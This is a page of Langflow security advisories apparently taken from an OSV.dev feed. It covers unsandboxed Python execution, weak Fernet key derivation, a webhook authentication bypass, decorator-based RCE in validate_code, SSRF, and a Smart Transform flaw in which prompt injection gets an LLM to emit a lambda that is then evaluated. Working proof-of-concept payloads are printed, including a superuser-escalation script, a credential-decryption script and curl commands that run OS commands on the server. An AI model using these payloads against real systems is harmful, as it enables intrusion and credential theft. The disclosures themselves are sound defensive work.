The vulnerable endpoint/helper was introduced in v1.5.0 (langflow-ai/langflow#8271, "add one click install to mcp servers on specific clients", 2025-07-08). Versions prior to v1.5.0 do not contain this endpoint and are not affected by this issue.

Vulnerable: >= 1.5.0, < 1.10.3 (and < 1.11.0 on mainline).

Fixed: v1.10.3 (backport) and v1.11.0 onward.

Affected versions

1.10.01.10.0rc01.10.11.10.1rc01.10.1rc31.10.21.10.2rc41.10.3rc01.5.01.5.0.post11.5.0.post21.5.1

+ 36 more Show less

1.6.01.6.11.6.21.6.31.6.41.6.51.6.61.6.71.6.81.6.91.7.01.7.11.7.21.7.31.8.01.8.0rc01.8.0rc11.8.0rc21.8.0rc31.8.0rc41.8.0rc51.8.0rc61.8.11.8.21.8.31.8.3rc01.8.41.9.01.9.11.9.21.9.31.9.3rc01.9.41.9.51.9.61.9.6rc0

Fixed in

1.10.3

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-4f6c-2vvp-gw82
https://nvd.nist.gov/vuln/detail/CVE-2026-105741
https://github.com/langflow-ai/langflow/pull/13915
https://github.com/langflow-ai/langflow/commit/1f39a4b9d62c9dfa1b21fa7f85e23a180c351b72
https://github.com/langflow-ai/langflow/commit/94859df33acd70b2a1f816e26d68f5e89a7e5639
https://github.com/langflow-ai/langflow

Updated Oct 15, 2026 · Source: OSV.dev
CVE-2026-10561 PYSEC-2026-4231 GHSA-8qpj-27x8-pwpq Oct 15, 2026

Langflow: PythonREPLComponent executes unsandboxed Python code, enabling authenticated RCE and privilege escalation

9.9 / 10
Critical
Network Low Low None Changed High High High

Summary

Langflow's built-in Python interpreter components — PythonREPLComponent (Python Interpreter) and the legacy PythonREPLToolComponent (Python REPL Tool) — executed arbitrary user- or model-supplied Python code inside flows without effective sandboxing. Because the code ran in-process with the privileges of the Langflow service, any authenticated user who could edit and run a flow could achieve remote code execution and, from there, escalate privileges to superuser (e.g. by opening a database session and flipping is_superuser) or compromise the host.

This issue is fixed as of 1.10.1, with additional hardening through 1.12.3. See Remediation below.

Affected

Package: langflow (PyPI), and the underlying lfx package that ships the component.

Vulnerable versions: < 1.10.1.

Patched: 1.10.1 (core fix). Upgrade to >= 1.12.3 for the complete hardening series.

Details

The root cause is code injection (CWE-94/CWE-95): the component passed raw input to LangChain's PythonREPL, which is explicitly not a security sandbox.

Two distinct weaknesses existed before 1.10.1:

Unrestricted builtins (default deployments). get_globals() built the exec globals from the global_imports allow-list but never set __builtins__. CPython's exec() then auto-injected the full builtins module, leaving __import__, open, eval, exec and the whole import machinery reachable regardless of the allow-list — e.g. __import__("os").system(...) or __import__("subprocess").check_output([...]). This made the "only modules in Global Imports can be used" guarantee false, and it applied even with the default configuration (allow_custom_components=True).

No server-policy gate (locked-down deployments). Even a deployment hardened with allow_custom_components=False could still run interpreter code, because the components did not consult that policy before executing.

Both let an authenticated user run the reported PoC, which opens a DB session and sets is_superuser = True on their account, or writes to the filesystem / runs OS commands with the service's privileges.

PoC (as reported)

Authenticate as a normal user.

Create a flow with the PythonREPLComponent.

Execute Python that imports Langflow internals and elevates the account:

import asyncio from sqlmodel import select from langflow.services.database.models.user.model import User from langflow.services.deps import session_scope async def escalate(): async with session_scope() as session: stmt = select(User).where(User.username == 'testuser') user = (await session.exec(stmt)).first() if user: user.is_superuser = True session.add(user) await session.commit() asyncio.run(escalate())

Impact

Any authenticated user could:

Execute arbitrary Python / OS commands with the Langflow service's privileges (RCE).

Escalate their own account to superuser via direct database access.

Read/modify data and configuration, and potentially pivot to the underlying host.

Remediation

Upgrade to Langflow 1.10.1 or later (preferably >= 1.12.3). The interpreter components were hardened with layered, defense-in-depth controls, applied in run_python_repl() before any code is executed:

Restricted builtins — get_globals() injects a curated safe_builtins() mapping, removing __import__, eval, exec, compile, open, input, globals/locals/vars, getattr/setattr, etc. (#13397)

AST validation — validate_code_safety() rejects inline import/from ... import, dunder/escape-gadget attribute access (__class__, __subclasses__, __globals__, frame/traceback introspection) and format-string dunder traversal. (#13397)

Server-policy gate — ensure_code_execution_enabled() refuses to run when allow_custom_components=False or block_code_interpreter_components=True, and fails closed if the settings stack cannot be resolved. (#13700 — this advisory — and #14375)

Allow-listed module proxies — imported modules are exposed via a proxy that blocks reaching sys.modules["os"] through a module's transitive import graph. (#15198)

Optional hardware isolation — configure LANGFLOW_SANDBOX_BACKEND to run interpreter code in an isolated microVM instead of in-process. (#14400)

Upstream fix references: #13397, #13700 (carries this GHSA), #14375, #14400, #15198.

Hardening recommendations for operators

Keep Langflow updated (>= 1.12.3).

For locked-down deployments, set LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false (or LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true) to disable the interpreter entirely.

For deployments that must run untrusted code, configure LANGFLOW_SANDBOX_BACKEND for microVM isolation.

Run the Langflow service as an unprivileged user with least-privilege database credentials.

Affected versions

0.0.310.0.320.0.330.0.400.0.440.0.450.0.460.0.520.0.530.0.540.0.550.0.56

+ 294 more Show less

0.0.570.0.580.0.610.0.620.0.630.0.640.0.650.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.780.0.790.0.800.0.810.0.830.0.840.0.850.0.860.0.870.0.880.0.890.1.00.1.20.1.30.1.40.1.50.1.60.1.70.2.00.2.10.2.100.2.110.2.120.2.130.2.20.2.30.2.40.2.50.2.60.2.70.2.80.2.90.3.00.3.10.3.20.3.30.3.40.4.00.4.10.4.100.4.110.4.120.4.140.4.150.4.160.4.170.4.180.4.190.4.20.4.200.4.210.4.30.4.40.4.50.4.60.4.70.4.80.4.90.5.00.5.0a00.5.0a10.5.0a20.5.0a30.5.0a40.5.0a50.5.0a60.5.0b00.5.0b20.5.0b30.5.0b40.5.0b50.5.0b60.5.10.5.100.5.110.5.120.5.20.5.30.5.40.5.50.5.60.5.70.5.80.5.90.6.00.6.0rc10.6.10.6.100.6.110.6.120.6.140.6.150.6.160.6.170.6.180.6.190.6.20.6.30.6.3a00.6.3a10.6.3a20.6.3a30.6.3a40.6.3a50.6.3a60.6.3a70.6.40.6.4a00.6.4a10.6.50.6.5a00.6.5a10.6.5a100.6.5a110.6.5a120.6.5a130.6.5a20.6.5a30.6.5a40.6.5a50.6.5a60.6.5a70.6.5a80.6.5a90.6.60.6.70.6.7a10.6.7a20.6.7a30.6.7a50.6.80.6.91.0.01.0.0a01.0.0a11.0.0a101.0.0a111.0.0a121.0.0a131.0.0a141.0.0a151.0.0a171.0.0a181.0.0a191.0.0a21.0.0a201.0.0a211.0.0a221.0.0a231.0.0a241.0.0a251.0.0a261.0.0a271.0.0a281.0.0a291.0.0a31.0.0a301.0.0a311.0.0a321.0.0a331.0.0a341.0.0a351.0.0a361.0.0a371.0.0a381.0.0a391.0.0a41.0.0a401.0.0a411.0.0a421.0.0a431.0.0a441.0.0a451.0.0a461.0.0a471.0.0a481.0.0a491.0.0a51.0.0a501.0.0a511.0.0a521.0.0a531.0.0a551.0.0a561.0.0a571.0.0a581.0.0a591.0.0a61.0.0a601.0.0a611.0.0a71.0.0a81.0.0a91.0.0rc01.0.0rc11.0.11.0.101.0.111.0.121.0.131.0.141.0.151.0.161.0.171.0.181.0.191.0.19.post11.0.19.post21.0.21.0.31.0.41.0.51.0.61.0.71.0.81.0.91.1.01.1.11.1.21.1.31.1.41.1.4.post11.10.01.10.0rc01.10.1rc01.10.1rc31.2.01.3.01.3.11.3.21.3.31.3.41.4.01.4.11.4.21.4.31.5.01.5.0.post11.5.0.post21.5.11.6.01.6.11.6.21.6.31.6.41.6.51.6.61.6.71.6.81.6.91.7.01.7.11.7.21.7.31.8.01.8.0rc01.8.0rc11.8.0rc21.8.0rc31.8.0rc41.8.0rc51.8.0rc61.8.11.8.21.8.31.8.3rc01.8.41.9.01.9.11.9.21.9.31.9.3rc01.9.41.9.51.9.61.9.6rc0

Fixed in

1.10.1

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-8qpj-27x8-pwpq
https://nvd.nist.gov/vuln/detail/CVE-2026-10561
https://github.com/langflow-ai/langflow/pull/13700
https://github.com/langflow-ai/langflow/commit/2754c84aad1306f463db1c3bbb3e8ffbe85da77d
https://github.com/langflow-ai/langflow
https://github.com/langflow-ai/langflow/releases/tag/v1.10.1

Updated Oct 15, 2026 · Source: OSV.dev
CVE-2026-9205 PYSEC-2026-4235 GHSA-jxw3-mjmx-3pqm Oct 15, 2026

Langflow: Weak Fernet Key via random.seed()

9.1 / 10
Critical
Network Low None None Unchanged High High None

Summary

Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRET_KEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRET_KEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRET_KEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.

Even when SECRET_KEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secret_key file is sufficient to decrypt all credentials without any additional computation.

Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data

Details

Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663

MINIMUM_KEY_LENGTH = 32 def _ensure_valid_key(self, raw_key: str) -> bytes: if len(raw_key) < MINIMUM_KEY_LENGTH: random.seed(raw_key) # Non-cryptographic PRNG seeded with the secret key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output key = base64.urlsafe_b64encode(key) else: key = self._add_padding(raw_key).encode() # Raw secret IS the Fernet key return key def _get_fernet(self) -> Fernet: secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value() valid_key = self._ensure_valid_key(secret_key) return Fernet(valid_key)

The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.create_variable and update_variable).

What is encrypted under this key: All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:

# services/variable/service.py encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value

Why this is critical in combination with the MCP path traversal: The secret_key file is stored at /app/data/.cache/langflow/secret_key — readable via the MCP path traversal vulnerability. Once exfiltrated:

If len(secret_key) < 32: run random.seed(secret_key) → derive identical key → decrypt all credentials instantly

If len(secret_key) >= 32: pad the key directly → decrypt all credentials instantly

No brute force needed in either case once the file is read.

PoC

#!/usr/bin/env python3 # Requires: pip install cryptography import random import base64 from cryptography.fernet import Fernet # --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch def decrypt_short_key(secret_key: str, ciphertext: str) -> str: random.seed(secret_key) key_bytes = bytes(random.getrandbits(8) for _ in range(32)) fernet_key = base64.urlsafe_b64encode(key_bytes) return Fernet(fernet_key).decrypt(ciphertext.encode()).decode() # --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario def decrypt_long_key(secret_key: str, ciphertext: str) -> str: padding_needed = 4 - len(secret_key) % 4 padded = secret_key + "=" * padding_needed return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode() # Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated) # and from SELECT value FROM variable WHERE type='Credential' in langflow.db SECRET_KEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E" # 43 chars → long branch CIPHERTEXT = "gAAAAABpux-Gz_3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVG_GgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWy_sPsKPLBr_i5ZOPAAP2c5EKkx5vtc1M=" plaintext = decrypt_long_key(SECRET_KEY, CIPHERTEXT) print(f"Decrypted credential: {plaintext}") # Output: sk-test-SENTINEL-VALUE-12345

Confirmed on Langflow v1.7.3:

Database path: /app/.venv/lib/python3.12/site-packages/langflow/langflow.db

Two Credential-type variables found in the variable table

Both decrypted successfully: "dummy" and "sk-test-SENTINEL-VALUE-12345"

The sentinel value (sk-test-SENTINEL-VALUE-12345) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated secret_key

End-to-end chain (with MCP path traversal):

# Step 1: Exfiltrate secret_key via MCP path traversal (no admin required, any authenticated user) # Step 2: Query DB credentials via path traversal (SQLite file readable) # Step 3: Decrypt offline — zero brute force, instant python3 poc_decrypt.py "$SECRET_KEY" "$CIPHERTEXT" # → all stored API keys revealed

Impact

All stored user credentials are at risk in any Langflow deployment where an attacker can read the secret_key file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:

OpenAI, Anthropic, and other LLM provider API keys stored by any user are decryptable

Database connection strings and passwords stored as credentials are exposed

OAuth tokens and webhook secrets stored via the Variables UI are exposed

All users on the instance are affected — credentials are stored per-user in the shared database but all encrypted under the same instance-wide SECRET_KEY

In multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secret_key + database), leaving no server-side log traces.

Fix

Fixed in v1.10.1 by PR #13704 (commit 094694d3f2).

ensure_fernet_key() (src/backend/base/langflow/services/auth/utils.py) no longer seeds Python's non-cryptographic random module for short SECRET_KEY values. The 32-byte key is now derived deterministically with SHA-256:

def ensure_fernet_key(secret_key: str) -> bytes: if len(secret_key) < MINIMUM_SECRET_KEY_LENGTH: digest = hashlib.sha256(secret_key.encode()).digest() # 32 bytes key = base64.urlsafe_b64encode(digest) else: key = add_base64_padding(secret_key).encode() return key

Backward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via get_fernet_for_decryption(), which returns a MultiFernet trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local random.Random(secret_key) instance (not the global random module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.

Affected versions: <= 1.10.0 Patched version: 1.10.1

Operator note: deployments running with a SECRET_KEY shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated SECRET_KEY (secrets.token_urlsafe(32), 43 characters) takes the long-key branch and was never affected by the PRNG issue.

Affected versions

0.0.310.0.320.0.330.0.400.0.440.0.450.0.460.0.520.0.530.0.540.0.550.0.56

+ 294 more Show less

0.0.570.0.580.0.610.0.620.0.630.0.640.0.650.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.780.0.790.0.800.0.810.0.830.0.840.0.850.0.860.0.870.0.880.0.890.1.00.1.20.1.30.1.40.1.50.1.60.1.70.2.00.2.10.2.100.2.110.2.120.2.130.2.20.2.30.2.40.2.50.2.60.2.70.2.80.2.90.3.00.3.10.3.20.3.30.3.40.4.00.4.10.4.100.4.110.4.120.4.140.4.150.4.160.4.170.4.180.4.190.4.20.4.200.4.210.4.30.4.40.4.50.4.60.4.70.4.80.4.90.5.00.5.0a00.5.0a10.5.0a20.5.0a30.5.0a40.5.0a50.5.0a60.5.0b00.5.0b20.5.0b30.5.0b40.5.0b50.5.0b60.5.10.5.100.5.110.5.120.5.20.5.30.5.40.5.50.5.60.5.70.5.80.5.90.6.00.6.0rc10.6.10.6.100.6.110.6.120.6.140.6.150.6.160.6.170.6.180.6.190.6.20.6.30.6.3a00.6.3a10.6.3a20.6.3a30.6.3a40.6.3a50.6.3a60.6.3a70.6.40.6.4a00.6.4a10.6.50.6.5a00.6.5a10.6.5a100.6.5a110.6.5a120.6.5a130.6.5a20.6.5a30.6.5a40.6.5a50.6.5a60.6.5a70.6.5a80.6.5a90.6.60.6.70.6.7a10.6.7a20.6.7a30.6.7a50.6.80.6.91.0.01.0.0a01.0.0a11.0.0a101.0.0a111.0.0a121.0.0a131.0.0a141.0.0a151.0.0a171.0.0a181.0.0a191.0.0a21.0.0a201.0.0a211.0.0a221.0.0a231.0.0a241.0.0a251.0.0a261.0.0a271.0.0a281.0.0a291.0.0a31.0.0a301.0.0a311.0.0a321.0.0a331.0.0a341.0.0a351.0.0a361.0.0a371.0.0a381.0.0a391.0.0a41.0.0a401.0.0a411.0.0a421.0.0a431.0.0a441.0.0a451.0.0a461.0.0a471.0.0a481.0.0a491.0.0a51.0.0a501.0.0a511.0.0a521.0.0a531.0.0a551.0.0a561.0.0a571.0.0a581.0.0a591.0.0a61.0.0a601.0.0a611.0.0a71.0.0a81.0.0a91.0.0rc01.0.0rc11.0.11.0.101.0.111.0.121.0.131.0.141.0.151.0.161.0.171.0.181.0.191.0.19.post11.0.19.post21.0.21.0.31.0.41.0.51.0.61.0.71.0.81.0.91.1.01.1.11.1.21.1.31.1.41.1.4.post11.10.01.10.0rc01.10.1rc01.10.1rc31.2.01.3.01.3.11.3.21.3.31.3.41.4.01.4.11.4.21.4.31.5.01.5.0.post11.5.0.post21.5.11.6.01.6.11.6.21.6.31.6.41.6.51.6.61.6.71.6.81.6.91.7.01.7.11.7.21.7.31.8.01.8.0rc01.8.0rc11.8.0rc21.8.0rc31.8.0rc41.8.0rc51.8.0rc61.8.11.8.21.8.31.8.3rc01.8.41.9.01.9.11.9.21.9.31.9.3rc01.9.41.9.51.9.61.9.6rc0

Fixed in

1.10.1

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-jxw3-mjmx-3pqm
https://nvd.nist.gov/vuln/detail/CVE-2026-9205
https://github.com/langflow-ai/langflow/pull/13704
https://github.com/langflow-ai/langflow/commit/094694d3f20c1da499f4d8dbac15c510609e3026
https://github.com/langflow-ai/langflow
https://www.ibm.com/support/pages/node/7282648

Updated Oct 15, 2026 · Source: OSV.dev
CVE-2026-8505 PYSEC-2026-4233 GHSA-cf6m-vc3m-7cgm Oct 15, 2026

Langflow: Unauthenticated Flow Execution via Webhook Authentication Bypass

9.8 / 10
Critical
Network Low None None Unchanged High High High

Summary

A vulnerability in Langflow's webhook authentication logic allows unauthenticated users to trigger the execution of any flow. The system incorrectly bypasses API key validation when the WEBHOOK_AUTH_ENABLE configuration is set to False. This allows a remote attacker who knows a flow's UUID to execute it as if they were the owner, potentially leading to Remote Code Execution (RCE) or Denial of Service (DoS).

Details

The WEBHOOK_AUTH_ENABLE setting was introduced in v1.7.0 (#9139) with a default of False. The root cause is in the webhook authentication path, AuthService.get_webhook_user (src/backend/base/langflow/services/auth/service.py; the thin wrapper in src/backend/base/langflow/services/auth/utils.py just delegates to it):

async def get_webhook_user(self, flow_id: str, request: Request) -> UserRead: settings_service = self.settings ... # VULNERABILITY: If this setting is False (default in <= 1.9.0), it returns # the flow owner WITHOUT checking the API Key in the request. if not settings_service.auth_settings.WEBHOOK_AUTH_ENABLE: try: flow_owner = await get_user_by_flow_id_or_endpoint_name(flow_id) return flow_owner

By default (v1.7.0 through v1.9.0), Langflow treats WEBHOOK_AUTH_ENABLE as False, meaning all webhook endpoints are public. This relies exclusively on the secrecy of the flow_id (UUID), which is an insecure practice (Security by Obscurity).

A related report, GHSA-6g4m-v5q2-475v, demonstrated a concrete RCE chain through this same bypass using the PythonCodeStructuredTool component (exec() on flow-authored Python code). That report is a duplicate of this root cause and has been closed in favor of this advisory; credit for that PoC has been added here.

PoC

Identify a valid flow_id for a flow that performs a sensitive action (e.g., sending an email, writing to a database, or executing a Python script).

Execute a POST request to the webhook endpoint without any Authorization header or API Key:

curl -X POST "http://<server-ip>:7860/api/v1/webhook/<flow_id>" \ -H "Content-Type: application/json" \ -d '{"input": "payload"}'

Verify that the flow execution is triggered and the action is performed on the server.

Impact

This is a High-severity Authentication Bypass.

Remote Code Execution (RCE): Flows often contain components that execute arbitrary Python code. An attacker can leverage this to gain full control over the server.

Denial of Service (DoS): Attackers can exhaust system resources by triggering heavy flows concurrently.

Data Integrity: Unauthorized execution of flows can lead to unintended modification of databases or external systems connected via the flow.

Affected versions

>= 1.7.0, <= 1.9.0 (the range in which WEBHOOK_AUTH_ENABLE existed and defaulted to False).

Fix

Fixed in v1.9.1 by PR #12845 — fix(security): default WEBHOOK_AUTH_ENABLE to True. The setting's default changed from False to True, so webhook endpoints now require API key authentication and ownership validation by default, unless an operator explicitly opts out via LANGFLOW_WEBHOOK_AUTH_ENABLE=false.

Affected versions

1.7.01.7.11.7.21.7.31.8.01.8.0rc01.8.0rc11.8.0rc21.8.0rc31.8.0rc41.8.0rc51.8.0rc6

+ 6 more Show less

1.8.11.8.21.8.31.8.3rc01.8.41.9.0

Fixed in

1.9.1

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-cf6m-vc3m-7cgm
https://nvd.nist.gov/vuln/detail/CVE-2026-8505
https://github.com/langflow-ai/langflow/pull/12845
https://github.com/langflow-ai/langflow/commit/cb6f7508dda83ead9c3e4417e96e4b5bd9a260c3
https://github.com/langflow-ai/langflow
https://github.com/langflow-ai/langflow/releases/tag/v1.9.1

Updated Oct 15, 2026 · Source: OSV.dev
CVE-2026-51886 PYSEC-2026-4236 GHSA-w584-2h2r-2hvf Oct 15, 2026

Langflow: Title Authenticated Remote Code Execution in validate_code via Malicious Decorators Description

8.8 / 10
High
Network Low Low None Unchanged High High High

###Summary: A critical Authenticated Remote Code Execution (RCE) vulnerability exists in the validate_code function of Langflow. The /api/v1/validate/code endpoint, meant to validate user-supplied code, leverages Python's exec() function. While it attempts to restrict execution to function definitions, it fails to account for decorators, which are evaluated at definition time. This allows any authenticated user to execute arbitrary code on the server, resulting in a full system compromise.

Details

The vulnerability is located in src/lfx/src/lfx/custom/validate.py(exposed via src/backend/base/langflow/api/v1/validate.py).

The validate_code function parses user input using ast. When it encounters a FunctionDef node, it compiles and executes it to check for extensive errors:

# src/lfx/src/lfx/custom/validate.py if isinstance(node, ast.FunctionDef): code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec") # ... # exec_globals creates a restricted-looking scope, but standard builtins are available exec(code_obj, exec_globals)

By design, executing a function definition (def func(): ...) does not execute the function body. However, Python immediately evaluates decorators attached to the function definition. An attacker can supply a malicious decorator (e.g., a lambda or function call) to achieve immediate code execution during the "validation" phase.

Affected Versions

/api/v1/validate/code had no authentication at all until commit 3fed9fe1b5 ("fix: Add authentication to various endpoints", #10977), first released in v1.7.2. Before that release, this same exec() sink was reachable unauthenticated.

From v1.7.2 through v1.10.0, the endpoint required a valid session but the exec() sink was untouched, so any authenticated user (or any user at all under AUTO_LOGIN) could trigger RCE via a malicious decorator as described below.

Fixed in v1.10.1 — see Fix section.

PoC

Authenticate as any user (acquire a valid access token or API key).

Send a POST request to /api/v1/validate/code with the following JSON payload:

{ "code": "@lambda x: (__import__('os').system('touch /tmp/pwned'), x)[1]\ndef pwned():\n pass" }

Curl Example

curl -X POST "http://<TARGET_HOST>/api/v1/validate/code" \ -H "Authorization: Bearer <YOUR_TOKEN>" \ -H "Content-Type: application/json" \ -d '{"code": "@lambda x: (__import__(\"os\").system(\"echo RCE_SUCCESS > /tmp/pwned\"), x)[1]\ndef pwned():\n pass"}'

Verify: Check the server file system. The file /tmp/pwned will be created.

Impact

This vulnerability results in Remote Code Execution (RCE).

Impacted Parties: Any user with access to the Langflow instance (Authenticated Users). Consequence: An attacker can execute arbitrary commands with the privileges of the process running Langflow. This allows reading sensitive environment variables (API keys, DB credentials), modifying files, or launching further attacks on the internal network.

Fix

Fixed in v1.10.1 by PR #13696 (commit e7c33dbaad, tracked as GHSA-2wcq-pvw2-xh7v): validate_code() in src/lfx/src/lfx/custom/validate.py no longer exec()s submitted FunctionDef nodes. It now only compile()s them to surface syntax/compile errors, which never evaluates decorators or default-argument expressions, closing this sink entirely.

This same fix independently resolves the different exploitation technique reported in duplicate advisory GHSA-xjq8-cqrm-7m4x (RCE via default-argument evaluation instead of a decorator). Both advisories share the exact same root-cause sink — the unconditional exec() in validate_code() — and differ only in which Python construct (decorator vs. default argument) is used to trigger execution at definition time. Credit for this finding is accordingly shared with the reporter of that duplicate.

Affected versions

1.10.01.10.0rc01.10.1rc01.10.1rc31.7.21.7.31.8.01.8.0rc01.8.0rc11.8.0rc21.8.0rc31.8.0rc4

+ 16 more Show less

1.8.0rc51.8.0rc61.8.11.8.21.8.31.8.3rc01.8.41.9.01.9.11.9.21.9.31.9.3rc01.9.41.9.51.9.61.9.6rc0

Fixed in

1.10.1

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-w584-2h2r-2hvf
https://nvd.nist.gov/vuln/detail/CVE-2026-51886
https://github.com/langflow-ai/langflow/issues/13336
https://github.com/langflow-ai/langflow/pull/13696
https://github.com/langflow-ai/langflow/commit/e7c33dbaade20b5295c7fa26bf83cc1ff68fba02
https://gist.github.com/Ro1ME/c11b1e63e4e8fca6b25275144f25ec2a

Updated Oct 15, 2026 · Source: OSV.dev
CVE-2026-7700 PYSEC-2026-4232 GHSA-9fpm-3445-2vx4 Oct 15, 2026

Langflow: Prompt injection in Langflow Smart Transform can lead to code execution

8.8 / 10
High
Network Low Low None Unchanged High High High

Summary

Langflow versions 1.3.0 through 1.10.2 contain a code-injection vulnerability in the Smart Transform (LambdaFilterComponent) component.

Smart Transform places flow-author instructions and a preview of its input data into a prompt asking an LLM to generate a Python lambda. It then extracts a one-line lambda from the model response, applies only syntactic format checks, evaluates it with Python's full builtins, and invokes the resulting function inside the Langflow process.

A malicious flow author can exploit this directly through the Instructions field. In deployments where an exposed flow passes attacker-controlled content into Smart Transform, an attacker may also exploit it indirectly through prompt injection, subject to the configured model following the injected instruction.

Vulnerability details

Vulnerable Code Location: src/lfx/src/lfx/components/llm_operations/lambda_filter.py (line 242 in v1.10.2)

def _validate_lambda(self, lambda_text: str) -> bool: """Validate the provided lambda function text.""" return lambda_text.strip().startswith("lambda") and ":" in lambda_text # ... return eval(lambda_text) # noqa: S307

For example, an attacker can attempt to make the model return:

lambda x: __import__("os").system("id")

This expression satisfies the vulnerable format checks. eval() creates the lambda with access to Python's default builtins, and the subsequent fn(data) invocation (in _execute_lambda) executes the command.

Successful exploitation allows code execution with the privileges of the Langflow service process. This can expose or modify credentials, files, application data, and network resources accessible to that process, and may affect other tenants in shared deployments.

PoC

https://github.com/user-attachments/assets/13c48fe1-7225-4e0d-9687-2d2df1e87f0e

Fix

The reported path was addressed by validating the generated code's AST and evaluating it with a restricted builtins mapping.

The mainline fix is in PR #13530 (1641b28f) and shipped in Langflow 1.11.0. The 1.10.3 backport is in PR #14071 (94859df3). Users should upgrade to Langflow 1.10.3 or later.

Workarounds

Until an upgrade is possible:

Remove Smart Transform from runnable flows.

Restrict flow creation, editing, and execution to trusted users.

Do not route untrusted or externally controlled data through Smart Transform.

Limit the Langflow process's filesystem, network, and credential access.

Credit

Peyton Kennedy (p80n-sec) of Endor Labs — reporter (original finder)

SZXSec — reporter (duplicate report)

cyjhhh — reporter (duplicate report)

0gur1 — reporter (duplicate report)

ajm4n — reporter (duplicate report, Finding 1 of a multi-finding submission)

andifilhohub — analyst

Jordan Frazier (jordanrfrazier) — remediation developer

Affected versions

1.10.01.10.0rc01.10.11.10.1rc01.10.1rc31.10.21.10.2rc41.10.3rc01.3.01.3.11.3.21.3.3

+ 45 more Show less

1.3.41.4.01.4.11.4.21.4.31.5.01.5.0.post11.5.0.post21.5.11.6.01.6.11.6.21.6.31.6.41.6.51.6.61.6.71.6.81.6.91.7.01.7.11.7.21.7.31.8.01.8.0rc01.8.0rc11.8.0rc21.8.0rc31.8.0rc41.8.0rc51.8.0rc61.8.11.8.21.8.31.8.3rc01.8.41.9.01.9.11.9.21.9.31.9.3rc01.9.41.9.51.9.61.9.6rc0

Fixed in

1.10.3

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-9fpm-3445-2vx4
https://nvd.nist.gov/vuln/detail/CVE-2026-7700
https://github.com/langflow-ai/langflow/pull/13530
https://github.com/langflow-ai/langflow/commit/1641b28f33e2c47b9a0c6855922d44d1b8418b9d
https://github.com/langflow-ai/langflow/commit/94859df33acd70b2a1f816e26d68f5e89a7e5639
https://github.com/langflow-ai/langflow

Updated Oct 15, 2026 · Source: OSV.dev
GHSA-j8f7-x8jm-wmm4 Oct 06, 2026

Langflow: SSRF in URL-taking components (protection disabled by default / warn-only, not applied to RSS, SearXNG, Web Search, Home Assistant, Glean, Docling)

Medium
Network Low Low None

Summary

Before Langflow 1.10.3, several built-in components sent server-side HTTP requests to URLs the flow author controls, with no SSRF enforcement. An authenticated user who can build or run flows could make the Langflow server reach loopback, RFC 1918 / private networks, link-local addresses and cloud metadata endpoints (for example http://169.254.169.254/latest/meta-data/), and in many cases read the response back through the component output.

Two things combined to cause this:

Protection disabled / warn-only. The SSRF guard (lfx/utils/ssrf_protection.py, added in 1.7.0 by #10544) shipped with ssrf_protection_enabled = False, and its only caller, the API Request component, called validate_url_for_ssrf(url, warn_only=True). So even with protection turned on, blocked URLs were only logged.

Inconsistent coverage. Other components that take a user-supplied URL or base URL did not call the guard at all: RSS Reader, SearXNG, Web Search (fetching result / RSS URLs), Home Assistant, Glean Search and Docling Serve (remote).

The problem was fixed across several PRs and is fully fixed in Langflow 1.10.3 (and 1.11.0+). With the default settings, outbound requests from these components are now validated after DNS resolution, pinned to the validated IP (to prevent DNS rebinding) and blocked when they target private, loopback, link-local or metadata addresses, unless the operator allowlists the host.

Affected versions

| Package (PyPI) | Vulnerable | Patched | |---|---|---| | langflow | < 1.10.3 | 1.10.3 | | langflow-base | < 0.10.3 | 0.10.3 | | lfx | < 1.10.3 | 1.10.3 | | lfx-docling (Docling Serve component) | < 0.1.2 | 0.1.2 |

How the fix rolled out:

